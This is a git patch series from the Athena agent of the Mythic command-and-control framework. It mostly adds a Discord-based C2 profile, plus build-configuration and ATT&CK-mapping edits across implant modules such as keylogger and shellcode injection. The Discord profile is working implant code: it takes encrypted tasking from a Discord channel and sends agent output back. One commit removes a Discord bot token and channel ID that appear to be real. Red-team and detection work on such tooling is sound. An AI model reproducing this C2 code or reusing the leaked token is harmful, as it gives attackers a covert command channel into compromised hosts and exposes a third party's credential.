"b27NVKvo3pJWvn7ThY02x+O52B073y5dls17IucL4ow="; killDate = DateTime.Now.AddYears(1); #else uuid = "%UUID%"; From 6ced694506cda6ba56dad4374d6803ed3e64affe Mon Sep 17 00:00:00 2001 From: checkymander Date: Wed, 27 Mar 2024 11:06:38 -0400 Subject: [PATCH 04/35] asdfdsa --- .../agent_code/Agent.Profiles.Discord/DiscordProfile.cs | 9 +-------- 1 file changed, 1 insertion(+), 8 deletions(-) diff --git a/Payload_Type/athena/athena/agent_code/Agent.Profiles.Discord/DiscordProfile.cs b/Payload_Type/athena/athena/agent_code/Agent.Profiles.Discord/DiscordProfile.cs index e54280ee8..9f951876c 100644 --- a/Payload_Type/athena/athena/agent_code/Agent.Profiles.Discord/DiscordProfile.cs +++ b/Payload_Type/athena/athena/agent_code/Agent.Profiles.Discord/DiscordProfile.cs @@ -1,16 +1,9 @@ using Agent.Interfaces; using Agent.Models; -using Agent.Utilities; -using System.Text.Json; -using System.Collections.Concurrent; -using System.Text; -using System.IO.Pipes; -using System.Security.AccessControl; -using System.Security.Principal; using Discord; using Discord.WebSocket; using Newtonsoft.Json; -using System; + namespace Agent.Profiles { public class DiscordProfile : IProfile From 3110c40939a2c4ad69bd814abb21525b811a5b5c Mon Sep 17 00:00:00 2001 From: checkymander Date: Wed, 27 Mar 2024 11:08:12 -0400 Subject: [PATCH 05/35] shhh secrets --- .../agent_code/Agent.Profiles.Discord/DiscordProfile.cs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Payload_Type/athena/athena/agent_code/Agent.Profiles.Discord/DiscordProfile.cs b/Payload_Type/athena/athena/agent_code/Agent.Profiles.Discord/DiscordProfile.cs index 9f951876c..b8650116f 100644 --- a/Payload_Type/athena/athena/agent_code/Agent.Profiles.Discord/DiscordProfile.cs +++ b/Payload_Type/athena/athena/agent_code/Agent.Profiles.Discord/DiscordProfile.cs @@ -35,8 +35,8 @@ public DiscordProfile(IAgentConfig config, ICryptoManager crypto, ILogger logger crypt = crypto; agentConfig = config; this.messageManager = messageManager; - _token = "MTE2MTgxMzU2MDc1ODg5ODg1MA.G6w5Wa.fG_vCUM5vlzDmkArxqElYfU5X4LYx9mOEltu8s"; - _channel_id = ulong.Parse("1161813089545638040"); + _token = ""; + _channel_id = ulong.Parse(""); var gateway_config = new DiscordSocketConfig() { GatewayIntents = GatewayIntents.AllUnprivileged | GatewayIntents.MessageContent From 7cd6894137042e3912cc0ee92bcab65beb8f7590 Mon Sep 17 00:00:00 2001 From: checkymander Date: Wed, 27 Mar 2024 12:08:07 -0400 Subject: [PATCH 06/35] added discord back to builder --- .../agent_code/Agent.Profiles.Discord/DiscordProfile.cs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Payload_Type/athena/athena/agent_code/Agent.Profiles.Discord/DiscordProfile.cs b/Payload_Type/athena/athena/agent_code/Agent.Profiles.Discord/DiscordProfile.cs index b8650116f..d4bf001d5 100644 --- a/Payload_Type/athena/athena/agent_code/Agent.Profiles.Discord/DiscordProfile.cs +++ b/Payload_Type/athena/athena/agent_code/Agent.Profiles.Discord/DiscordProfile.cs @@ -35,8 +35,8 @@ public DiscordProfile(IAgentConfig config, ICryptoManager crypto, ILogger logger crypt = crypto; agentConfig = config; this.messageManager = messageManager; - _token = ""; - _channel_id = ulong.Parse(""); + _token = "discord_token"; + _channel_id = ulong.Parse("bot_channel"); var gateway_config = new DiscordSocketConfig() { GatewayIntents = GatewayIntents.AllUnprivileged | GatewayIntents.MessageContent From 39c41aa346f0f907a36436430b2e6dea1fc80364 Mon Sep 17 00:00:00 2001 From: checkymander Date: Wed, 27 Mar 2024 12:08:23 -0400 Subject: [PATCH 07/35] added discord back to builder --- .../Agent.Profiles.Discord/Base.txt | 206 ++++++++++++++++++ 1 file changed, 206 insertions(+) create mode 100644 Payload_Type/athena/athena/agent_code/Agent.Profiles.Discord/Base.txt diff --git a/Payload_Type/athena/athena/agent_code/Agent.Profiles.Discord/Base.txt b/Payload_Type/athena/athena/agent_code/Agent.Profiles.Discord/Base.txt new file mode 100644 index 000000000..d4bf001d5 --- /dev/null +++ b/Payload_Type/athena/athena/agent_code/Agent.Profiles.Discord/Base.txt @@ -0,0 +1,206 @@ +using Agent.Interfaces; +using Agent.Models; +using Discord; +using Discord.WebSocket; +using Newtonsoft.Json; + +namespace Agent.Profiles +{ + public class DiscordProfile : IProfile + { + private IAgentConfig agentConfig { get; set; } + private ICryptoManager crypt { get; set; } + private IMessageManager messageManager { get; set; } + private ILogger logger { get; set; } + private ManualResetEventSlim checkinAvailable = new ManualResetEventSlim(false); + private AutoResetEvent clientReady = new AutoResetEvent(false); + private readonly string _token; + private readonly ulong _channel_id; + private readonly string _uuid = Guid.NewGuid().ToString(); + private ITextChannel _channel { get; set; } + private readonly DiscordSocketClient _client; + private readonly HttpClient _httpClient; + private CheckinResponse cir; + + private bool checkedin = false; + private bool connected = false; + private int currentAttempt = 0; + private int maxAttempts = 10; + + public event EventHandler SetTaskingReceived; + + private CancellationTokenSource cancellationTokenSource { get; set; } = new CancellationTokenSource(); + public DiscordProfile(IAgentConfig config, ICryptoManager crypto, ILogger logger, IMessageManager messageManager) + { + crypt = crypto; + agentConfig = config; + this.messageManager = messageManager; + _token = "discord_token"; + _channel_id = ulong.Parse("bot_channel"); + var gateway_config = new DiscordSocketConfig() + { + GatewayIntents = GatewayIntents.AllUnprivileged | GatewayIntents.MessageContent + }; + _client = new DiscordSocketClient(gateway_config); + _client.MessageReceived += _client_MessageReceived; + _client.Ready += _client_Ready; + } + + private async Task _client_Ready() + { + clientReady.Set(); + } + + private async Task _client_MessageReceived(SocketMessage message) + { + Console.WriteLine("Message Received: " + message.Content); + MessageWrapper discordMessage; + if (message.Attachments.Count > 0 && message.Attachments.FirstOrDefault().Filename.EndsWith("txt")) + { + discordMessage = JsonConvert.DeserializeObject(await GetFileContentsAsync(message.Attachments.FirstOrDefault().Url)); + } + else + { + discordMessage = JsonConvert.DeserializeObject(message.Content); + } + + if (discordMessage is not null &! discordMessage.to_server && discordMessage.client_id == _uuid) //It belongs to us + { + Console.WriteLine("Got Message: " + discordMessage.message); + _ = message.DeleteAsync(); + + if (!checkedin) + { + cir = System.Text.Json.JsonSerializer.Deserialize(this.crypt.Decrypt(discordMessage.message), CheckinResponseJsonContext.Default.CheckinResponse); + checkinAvailable.Set(); + return; + } + + //If we make it to here, it's a tasking response + GetTaskingResponse gtr = System.Text.Json.JsonSerializer.Deserialize(this.crypt.Decrypt(discordMessage.message), GetTaskingResponseJsonContext.Default.GetTaskingResponse); + if (gtr == null) + { + return; + } + + TaskingReceivedArgs tra = new TaskingReceivedArgs(gtr); + this.SetTaskingReceived(this, tra); + } + } + + private async Task Start() + { + await _client.StartAsync(); + await _client.LoginAsync(TokenType.Bot, _token); + clientReady.WaitOne(); + return _client.LoginState == LoginState.LoggedIn; + } + + public async Task Checkin(Checkin checkin) + { + //Write our checkin message to the pipe + + await this.Send(System.Text.Json.JsonSerializer.Serialize(checkin, CheckinJsonContext.Default.Checkin)); + + //Wait for a checkin response message + checkinAvailable.Wait(); + + //We got a checkin response, so let's finish the checkin process + this.checkedin = true; + + return this.cir; + } + + public async Task StartBeacon() + { + //Main beacon loop handled here + this.cancellationTokenSource = new CancellationTokenSource(); + while (!cancellationTokenSource.Token.IsCancellationRequested) + { + //Check if we have something to send. + if (!this.messageManager.HasResponses()) + { + continue; + } + + try + { + await this.Send(await messageManager.GetAgentResponseStringAsync()); + } + catch (Exception e) + { + this.currentAttempt++; + } + + if (this.currentAttempt >= this.maxAttempts) + { + this.cancellationTokenSource.Cancel(); + } + } + } + internal async Task Send(string json) + { + if(_client.LoginState != LoginState.LoggedIn) + { + await this.Start(); + } + + string msg = this.crypt.Encrypt(json); + MessageWrapper discordMessage = new MessageWrapper() + { + to_server = true, + sender_id = _uuid, + message = msg, + client_id = "", + }; + + Console.WriteLine(_channel_id); + Console.WriteLine(_client.LoginState); + Console.WriteLine(_client.ConnectionState); + Console.WriteLine(_client.Status); + + ITextChannel channel = (ITextChannel)_client.GetChannel(_channel_id); + + var chan = _client.GetChannel(1161813089545638040) as ITextChannel; + + if (chan is null) + { + Console.WriteLine("NO channel."); + } + + if (json.Length > 1950) + { + await channel.SendFileAsync(System.Text.Json.JsonSerializer.Serialize(discordMessage), discordMessage.sender_id + ".server"); + } + else + { + await channel.SendMessageAsync(System.Text.Json.JsonSerializer.Serialize(discordMessage)); + } + + return String.Empty; + } + + public bool StopBeacon() + { + this.cancellationTokenSource.Cancel(); + return true; + } + private async Task GetFileContentsAsync(string url) + { + string message; + using (HttpResponseMessage response = await _httpClient.GetAsync(url)) + { + using (HttpContent content = response.Content) + { + message = await content.ReadAsStringAsync(); + } + } + return await Unescape(message) ?? ""; + } + private async Task Unescape(string message) + { + return message.TrimStart('"').TrimEnd('"').Replace("\\\"", "\""); + + } + } +} From 57d3a3f27e337d97204cc78ec0f2fcd6b5d4db28 Mon Sep 17 00:00:00 2001 From: checkymander Date: Wed, 27 Mar 2024 12:37:07 -0400 Subject: [PATCH 08/35] fixed nidhogg bug --- Payload_Type/athena/athena/mythic/agent_functions/nidhogg.py | 1 - 1 file changed, 1 deletion(-) diff --git a/Payload_Type/athena/athena/mythic/agent_functions/nidhogg.py b/Payload_Type/athena/athena/mythic/agent_functions/nidhogg.py index 72fc6ba8f..9c3248fc6 100644 --- a/Payload_Type/athena/athena/mythic/agent_functions/nidhogg.py +++ b/Payload_Type/athena/athena/mythic/agent_functions/nidhogg.py @@ -88,7 +88,6 @@ class NidhoggCommand(CommandBase): author = "@checkymander" attackmapping = [] argument_class = NidhoggArguments - browser_script = BrowserScript() attributes = CommandAttributes( ) async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: From b036940c41206bdcc059d75cd239746080a28794 Mon Sep 17 00:00:00 2001 From: checkymander Date: Wed, 27 Mar 2024 12:41:56 -0400 Subject: [PATCH 09/35] removed missing ATT&CK numbers --- .../athena/athena/mythic/agent_functions/get-sessions.py | 2 +- Payload_Type/athena/athena/mythic/agent_functions/test-port.py | 2 +- .../athena/mythic/agent_functions/trusted_sec_bofs/net-view.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Payload_Type/athena/athena/mythic/agent_functions/get-sessions.py b/Payload_Type/athena/athena/mythic/agent_functions/get-sessions.py index 38968f17b..e8b8602f0 100644 --- a/Payload_Type/athena/athena/mythic/agent_functions/get-sessions.py +++ b/Payload_Type/athena/athena/mythic/agent_functions/get-sessions.py @@ -48,7 +48,7 @@ class GetSessionsCommand(CommandBase): version = 1 author = "@checkymander" argument_class = GetSessionsArguments - attackmapping = ["T0840"] + attackmapping = [] attributes = CommandAttributes( supported_os=[SupportedOS.Windows], ) diff --git a/Payload_Type/athena/athena/mythic/agent_functions/test-port.py b/Payload_Type/athena/athena/mythic/agent_functions/test-port.py index 556e46a62..0be991ad4 100644 --- a/Payload_Type/athena/athena/mythic/agent_functions/test-port.py +++ b/Payload_Type/athena/athena/mythic/agent_functions/test-port.py @@ -66,7 +66,7 @@ class TestportCommand(CommandBase): version = 1 author = "@checkymander" argument_class = TestportArguments - attackmapping = ["T1046","T1595","T1423"] + attackmapping = ["T1046","T1595"] attributes = CommandAttributes( ) diff --git a/Payload_Type/athena/athena/mythic/agent_functions/trusted_sec_bofs/net-view.py b/Payload_Type/athena/athena/mythic/agent_functions/trusted_sec_bofs/net-view.py index d8a1445c5..7065c4c54 100644 --- a/Payload_Type/athena/athena/mythic/agent_functions/trusted_sec_bofs/net-view.py +++ b/Payload_Type/athena/athena/mythic/agent_functions/trusted_sec_bofs/net-view.py @@ -79,7 +79,7 @@ class NetViewCommand(CommandBase): supported_ui_features = [] author = "@TrustedSec" argument_class = NetViewArguments - attackmapping = ["T0840", "T1046"] + attackmapping = ["T1046"] attributes = CommandAttributes( supported_os=[SupportedOS.Windows], builtin=False, From 12cf291bc4038f2794ba4e014e0f0d9bf7fcc50f Mon Sep 17 00:00:00 2001 From: checkymander Date: Thu, 28 Mar 2024 09:00:02 -0400 Subject: [PATCH 10/35] added LocalDebug configuration --- .../Agent.Crypto.Aes/Agent.Crypto.Aes.csproj | 1 + .../Agent.Crypto.None.csproj | 1 + .../Agent.Managers.Linux.csproj | 1 + .../Agent.Managers.Reflection.csproj | 1 + .../Agent.Managers.Windows.csproj | 1 + .../Agent.Models/Agent.Models.csproj | 1 + .../Agent.Profiles.DebugProfile.csproj | 1 + .../Agent.Profiles.Discord.csproj | 1 + .../Agent.Profiles.Http.csproj | 1 + .../Agent.Profiles.Smb.csproj | 1 + .../Agent.Profiles.Websocket.csproj | 1 + .../athena/athena/agent_code/Agent.sln | 155 +++++++++++++++++- .../athena/agent_code/Agent/Agent.csproj | 5 +- .../Agent.Tests.Defender.csproj | 1 + .../Tests/Agent.Tests/Agent.Tests.csproj | 2 + .../athena/athena/agent_code/arp/arp.csproj | 1 + .../agent_code/caffeinate/caffeinate.csproj | 1 + .../athena/athena/agent_code/cat/cat.csproj | 1 + .../athena/athena/agent_code/cd/cd.csproj | 1 + .../athena/athena/agent_code/coff/coff.csproj | 1 + .../athena/agent_code/config/config.csproj | 1 + .../athena/athena/agent_code/cp/cp.csproj | 1 + .../athena/athena/agent_code/crop/crop.csproj | 1 + .../athena/agent_code/cursed/cursed.csproj | 1 + .../agent_code/download/download.csproj | 1 + .../athena/agent_code/drives/drives.csproj | 1 + .../athena/athena/agent_code/ds/ds.csproj | 1 + .../athena/athena/agent_code/echo/echo.csproj | 1 + .../entitlements/entitlements.csproj | 1 + .../athena/athena/agent_code/env/env.csproj | 1 + .../athena/athena/agent_code/exec/exec.csproj | 1 + .../execute-assembly/execute-assembly.csproj | 1 + .../athena/athena/agent_code/exit/exit.csproj | 1 + .../athena/agent_code/farmer/farmer.csproj | 1 + .../get-clipboard/get-clipboard.csproj | 1 + .../get-localgroup/get-localgroup.csproj | 1 + .../get-sessions/get-sessions.csproj | 1 + .../agent_code/get-shares/get-shares.csproj | 1 + .../agent_code/hostname/hostname.csproj | 1 + .../agent_code/http-server/http-server.csproj | 1 + .../agent_code/ifconfig/ifconfig.csproj | 1 + .../inject-shellcode-linux.csproj | 1 + .../inject-shellcode/inject-shellcode.csproj | 1 + .../athena/agent_code/jobkill/jobkill.csproj | 1 + .../athena/athena/agent_code/jobs/jobs.csproj | 1 + .../athena/athena/agent_code/jxa/jxa.csproj | 1 + .../agent_code/keychain/keychain.csproj | 1 + .../agent_code/keylogger/keylogger.csproj | 1 + .../athena/athena/agent_code/kill/kill.csproj | 1 + .../athena/athena/agent_code/lnk/lnk.csproj | 1 + .../athena/athena/agent_code/ls/ls.csproj | 1 + .../athena/agent_code/mkdir/mkdir.csproj | 1 + .../athena/athena/agent_code/mv/mv.csproj | 1 + .../athena/agent_code/netstat/netstat.csproj | 1 + .../athena/agent_code/nidhogg/nidhogg.csproj | 1 + .../agent_code/nslookup/nslookup.csproj | 1 + .../agent_code/port-bender/port-bender.csproj | 1 + .../athena/athena/agent_code/ps/ps.csproj | 1 + .../athena/athena/agent_code/pwd/pwd.csproj | 1 + .../athena/athena/agent_code/reg/reg.csproj | 1 + .../athena/athena/agent_code/rm/rm.csproj | 1 + .../agent_code/rportfwd/rportfwd.csproj | 1 + .../agent_code/screenshot/screenshot.csproj | 3 +- .../athena/athena/agent_code/sftp/sftp.csproj | 1 + .../athena/agent_code/shell/shell.csproj | 1 + .../agent_code/shellcode/shellcode.csproj | 1 + .../athena/athena/agent_code/smb/smb.csproj | 1 + .../athena/agent_code/socks/socks.csproj | 1 + .../athena/athena/agent_code/ssh/ssh.csproj | 3 +- .../athena/athena/agent_code/tail/tail.csproj | 1 + .../agent_code/test-port/test-port.csproj | 1 + .../agent_code/timestomp/timestomp.csproj | 1 + .../athena/agent_code/token/token.csproj | 1 + .../athena/agent_code/upload/upload.csproj | 1 + .../athena/agent_code/uptime/uptime.csproj | 1 + .../athena/athena/agent_code/wget/wget.csproj | 1 + .../athena/agent_code/whoami/whoami.csproj | 1 + 77 files changed, 235 insertions(+), 5 deletions(-) diff --git a/Payload_Type/athena/athena/agent_code/Agent.Crypto.Aes/Agent.Crypto.Aes.csproj b/Payload_Type/athena/athena/agent_code/Agent.Crypto.Aes/Agent.Crypto.Aes.csproj index a83ec8cb2..41f2d208b 100644 --- a/Payload_Type/athena/athena/agent_code/Agent.Crypto.Aes/Agent.Crypto.Aes.csproj +++ b/Payload_Type/athena/athena/agent_code/Agent.Crypto.Aes/Agent.Crypto.Aes.csproj @@ -4,6 +4,7 @@ net7.0 enable enable + Debug;Release;LocalDebug diff --git a/Payload_Type/athena/athena/agent_code/Agent.Crypto.None/Agent.Crypto.None.csproj b/Payload_Type/athena/athena/agent_code/Agent.Crypto.None/Agent.Crypto.None.csproj index 7b47c6801..eb9af630b 100644 --- a/Payload_Type/athena/athena/agent_code/Agent.Crypto.None/Agent.Crypto.None.csproj +++ b/Payload_Type/athena/athena/agent_code/Agent.Crypto.None/Agent.Crypto.None.csproj @@ -3,6 +3,7 @@ net7.0 enable enable + Debug;Release;LocalDebug diff --git a/Payload_Type/athena/athena/agent_code/Agent.Managers.Linux/Agent.Managers.Linux.csproj b/Payload_Type/athena/athena/agent_code/Agent.Managers.Linux/Agent.Managers.Linux.csproj index a83ec8cb2..41f2d208b 100644 --- a/Payload_Type/athena/athena/agent_code/Agent.Managers.Linux/Agent.Managers.Linux.csproj +++ b/Payload_Type/athena/athena/agent_code/Agent.Managers.Linux/Agent.Managers.Linux.csproj @@ -4,6 +4,7 @@ net7.0 enable enable + Debug;Release;LocalDebug diff --git a/Payload_Type/athena/athena/agent_code/Agent.Managers.Reflection/Agent.Managers.Reflection.csproj b/Payload_Type/athena/athena/agent_code/Agent.Managers.Reflection/Agent.Managers.Reflection.csproj index a83ec8cb2..41f2d208b 100644 --- a/Payload_Type/athena/athena/agent_code/Agent.Managers.Reflection/Agent.Managers.Reflection.csproj +++ b/Payload_Type/athena/athena/agent_code/Agent.Managers.Reflection/Agent.Managers.Reflection.csproj @@ -4,6 +4,7 @@ net7.0 enable enable + Debug;Release;LocalDebug diff --git a/Payload_Type/athena/athena/agent_code/Agent.Managers.Windows/Agent.Managers.Windows.csproj b/Payload_Type/athena/athena/agent_code/Agent.Managers.Windows/Agent.Managers.Windows.csproj index 5618b2f00..994f0f5ab 100644 --- a/Payload_Type/athena/athena/agent_code/Agent.Managers.Windows/Agent.Managers.Windows.csproj +++ b/Payload_Type/athena/athena/agent_code/Agent.Managers.Windows/Agent.Managers.Windows.csproj @@ -5,6 +5,7 @@ enable enable true + Debug;Release;LocalDebug diff --git a/Payload_Type/athena/athena/agent_code/Agent.Models/Agent.Models.csproj b/Payload_Type/athena/athena/agent_code/Agent.Models/Agent.Models.csproj index cfadb03dd..96bcb2917 100644 --- a/Payload_Type/athena/athena/agent_code/Agent.Models/Agent.Models.csproj +++ b/Payload_Type/athena/athena/agent_code/Agent.Models/Agent.Models.csproj @@ -4,6 +4,7 @@ net7.0 enable enable + Debug;Release;LocalDebug diff --git a/Payload_Type/athena/athena/agent_code/Agent.Profiles.DebugProfile/Agent.Profiles.DebugProfile.csproj b/Payload_Type/athena/athena/agent_code/Agent.Profiles.DebugProfile/Agent.Profiles.DebugProfile.csproj index dc70ed2eb..92ceb5d81 100644 --- a/Payload_Type/athena/athena/agent_code/Agent.Profiles.DebugProfile/Agent.Profiles.DebugProfile.csproj +++ b/Payload_Type/athena/athena/agent_code/Agent.Profiles.DebugProfile/Agent.Profiles.DebugProfile.csproj @@ -4,6 +4,7 @@ net7.0 enable enable + Debug;Release;LocalDebug diff --git a/Payload_Type/athena/athena/agent_code/Agent.Profiles.Discord/Agent.Profiles.Discord.csproj b/Payload_Type/athena/athena/agent_code/Agent.Profiles.Discord/Agent.Profiles.Discord.csproj index 4747f7597..2cdd117bf 100644 --- a/Payload_Type/athena/athena/agent_code/Agent.Profiles.Discord/Agent.Profiles.Discord.csproj +++ b/Payload_Type/athena/athena/agent_code/Agent.Profiles.Discord/Agent.Profiles.Discord.csproj @@ -4,6 +4,7 @@ net7.0 enable enable + Debug;Release;LocalDebug diff --git a/Payload_Type/athena/athena/agent_code/Agent.Profiles.Http/Agent.Profiles.Http.csproj b/Payload_Type/athena/athena/agent_code/Agent.Profiles.Http/Agent.Profiles.Http.csproj index a83ec8cb2..41f2d208b 100644 --- a/Payload_Type/athena/athena/agent_code/Agent.Profiles.Http/Agent.Profiles.Http.csproj +++ b/Payload_Type/athena/athena/agent_code/Agent.Profiles.Http/Agent.Profiles.Http.csproj @@ -4,6 +4,7 @@ net7.0 enable enable + Debug;Release;LocalDebug diff --git a/Payload_Type/athena/athena/agent_code/Agent.Profiles.Smb/Agent.Profiles.Smb.csproj b/Payload_Type/athena/athena/agent_code/Agent.Profiles.Smb/Agent.Profiles.Smb.csproj index 5e02249c7..c0509755a 100644 --- a/Payload_Type/athena/athena/agent_code/Agent.Profiles.Smb/Agent.Profiles.Smb.csproj +++ b/Payload_Type/athena/athena/agent_code/Agent.Profiles.Smb/Agent.Profiles.Smb.csproj @@ -4,6 +4,7 @@ net7.0 enable enable + Debug;Release;LocalDebug diff --git a/Payload_Type/athena/athena/agent_code/Agent.Profiles.Websocket/Agent.Profiles.Websocket.csproj b/Payload_Type/athena/athena/agent_code/Agent.Profiles.Websocket/Agent.Profiles.Websocket.csproj index 17357a39b..eb7cdca19 100644 --- a/Payload_Type/athena/athena/agent_code/Agent.Profiles.Websocket/Agent.Profiles.Websocket.csproj +++ b/Payload_Type/athena/athena/agent_code/Agent.Profiles.Websocket/Agent.Profiles.Websocket.csproj @@ -4,6 +4,7 @@ net7.0 enable enable + Debug;Release;LocalDebug diff --git a/Payload_Type/athena/athena/agent_code/Agent.sln b/Payload_Type/athena/athena/agent_code/Agent.sln index d51b5892d..a18557ce1 100644 --- a/Payload_Type/athena/athena/agent_code/Agent.sln +++ b/Payload_Type/athena/athena/agent_code/Agent.sln @@ -165,316 +165,469 @@ Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Agent.Tests.Defender", "Tes EndProject Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "nidhogg", "nidhogg\nidhogg.csproj", "{540E8838-071D-4DBE-8A5B-D897278720F7}" EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Agent.Profiles.Discord", "Agent.Profiles.Discord\Agent.Profiles.Discord.csproj", "{E6D5BCDC-D3F9-4537-B2EE-B6C4B8CE93E7}" +Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Agent.Profiles.Discord", "Agent.Profiles.Discord\Agent.Profiles.Discord.csproj", "{E6D5BCDC-D3F9-4537-B2EE-B6C4B8CE93E7}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Any CPU = Debug|Any CPU + LocalDebug|Any CPU = LocalDebug|Any CPU Release|Any CPU = Release|Any CPU EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {A26A9943-51E9-4242-94A7-F6E0C4F562BF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {A26A9943-51E9-4242-94A7-F6E0C4F562BF}.Debug|Any CPU.Build.0 = Debug|Any CPU + {A26A9943-51E9-4242-94A7-F6E0C4F562BF}.LocalDebug|Any CPU.ActiveCfg = LocalDebug|Any CPU + {A26A9943-51E9-4242-94A7-F6E0C4F562BF}.LocalDebug|Any CPU.Build.0 = LocalDebug|Any CPU {A26A9943-51E9-4242-94A7-F6E0C4F562BF}.Release|Any CPU.ActiveCfg = Release|Any CPU {A26A9943-51E9-4242-94A7-F6E0C4F562BF}.Release|Any CPU.Build.0 = Release|Any CPU {474A77A6-C6BF-4342-8ECE-91A19C259308}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {474A77A6-C6BF-4342-8ECE-91A19C259308}.Debug|Any CPU.Build.0 = Debug|Any CPU + {474A77A6-C6BF-4342-8ECE-91A19C259308}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {474A77A6-C6BF-4342-8ECE-91A19C259308}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {474A77A6-C6BF-4342-8ECE-91A19C259308}.Release|Any CPU.ActiveCfg = Release|Any CPU {474A77A6-C6BF-4342-8ECE-91A19C259308}.Release|Any CPU.Build.0 = Release|Any CPU {C67EEFE5-2275-4E04-81DF-1057A6F71A02}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {C67EEFE5-2275-4E04-81DF-1057A6F71A02}.Debug|Any CPU.Build.0 = Debug|Any CPU + {C67EEFE5-2275-4E04-81DF-1057A6F71A02}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {C67EEFE5-2275-4E04-81DF-1057A6F71A02}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {C67EEFE5-2275-4E04-81DF-1057A6F71A02}.Release|Any CPU.ActiveCfg = Release|Any CPU {C67EEFE5-2275-4E04-81DF-1057A6F71A02}.Release|Any CPU.Build.0 = Release|Any CPU {AF823C1D-9A77-4F20-A4C8-895EC70F3CAE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {AF823C1D-9A77-4F20-A4C8-895EC70F3CAE}.Debug|Any CPU.Build.0 = Debug|Any CPU + {AF823C1D-9A77-4F20-A4C8-895EC70F3CAE}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {AF823C1D-9A77-4F20-A4C8-895EC70F3CAE}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {AF823C1D-9A77-4F20-A4C8-895EC70F3CAE}.Release|Any CPU.ActiveCfg = Release|Any CPU {AF823C1D-9A77-4F20-A4C8-895EC70F3CAE}.Release|Any CPU.Build.0 = Release|Any CPU {B8B92025-13B5-494F-994E-83E8D09F89DC}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {B8B92025-13B5-494F-994E-83E8D09F89DC}.Debug|Any CPU.Build.0 = Debug|Any CPU + {B8B92025-13B5-494F-994E-83E8D09F89DC}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {B8B92025-13B5-494F-994E-83E8D09F89DC}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {B8B92025-13B5-494F-994E-83E8D09F89DC}.Release|Any CPU.ActiveCfg = Release|Any CPU {B8B92025-13B5-494F-994E-83E8D09F89DC}.Release|Any CPU.Build.0 = Release|Any CPU {A93BC732-41C0-479C-9E4C-ABB6F985790A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {A93BC732-41C0-479C-9E4C-ABB6F985790A}.Debug|Any CPU.Build.0 = Debug|Any CPU + {A93BC732-41C0-479C-9E4C-ABB6F985790A}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {A93BC732-41C0-479C-9E4C-ABB6F985790A}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {A93BC732-41C0-479C-9E4C-ABB6F985790A}.Release|Any CPU.ActiveCfg = Release|Any CPU {A93BC732-41C0-479C-9E4C-ABB6F985790A}.Release|Any CPU.Build.0 = Release|Any CPU {B1BBB2B6-9E1D-49C2-AE1C-F40404CA1FCE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {B1BBB2B6-9E1D-49C2-AE1C-F40404CA1FCE}.Debug|Any CPU.Build.0 = Debug|Any CPU + {B1BBB2B6-9E1D-49C2-AE1C-F40404CA1FCE}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {B1BBB2B6-9E1D-49C2-AE1C-F40404CA1FCE}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {B1BBB2B6-9E1D-49C2-AE1C-F40404CA1FCE}.Release|Any CPU.ActiveCfg = Release|Any CPU {B1BBB2B6-9E1D-49C2-AE1C-F40404CA1FCE}.Release|Any CPU.Build.0 = Release|Any CPU {9EA1EB4C-8F7D-4081-A9A6-3ACD1F8F5843}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {9EA1EB4C-8F7D-4081-A9A6-3ACD1F8F5843}.Debug|Any CPU.Build.0 = Debug|Any CPU + {9EA1EB4C-8F7D-4081-A9A6-3ACD1F8F5843}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {9EA1EB4C-8F7D-4081-A9A6-3ACD1F8F5843}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {9EA1EB4C-8F7D-4081-A9A6-3ACD1F8F5843}.Release|Any CPU.ActiveCfg = Release|Any CPU {9EA1EB4C-8F7D-4081-A9A6-3ACD1F8F5843}.Release|Any CPU.Build.0 = Release|Any CPU {2FE9C3D6-2B23-4C6B-B82E-4A286E903DFF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {2FE9C3D6-2B23-4C6B-B82E-4A286E903DFF}.Debug|Any CPU.Build.0 = Debug|Any CPU + {2FE9C3D6-2B23-4C6B-B82E-4A286E903DFF}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {2FE9C3D6-2B23-4C6B-B82E-4A286E903DFF}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {2FE9C3D6-2B23-4C6B-B82E-4A286E903DFF}.Release|Any CPU.ActiveCfg = Release|Any CPU {2FE9C3D6-2B23-4C6B-B82E-4A286E903DFF}.Release|Any CPU.Build.0 = Release|Any CPU {799E7818-8BA1-4D78-9236-3EB0CC6D4EEE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {799E7818-8BA1-4D78-9236-3EB0CC6D4EEE}.Debug|Any CPU.Build.0 = Debug|Any CPU + {799E7818-8BA1-4D78-9236-3EB0CC6D4EEE}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {799E7818-8BA1-4D78-9236-3EB0CC6D4EEE}.LocalDebug|Any 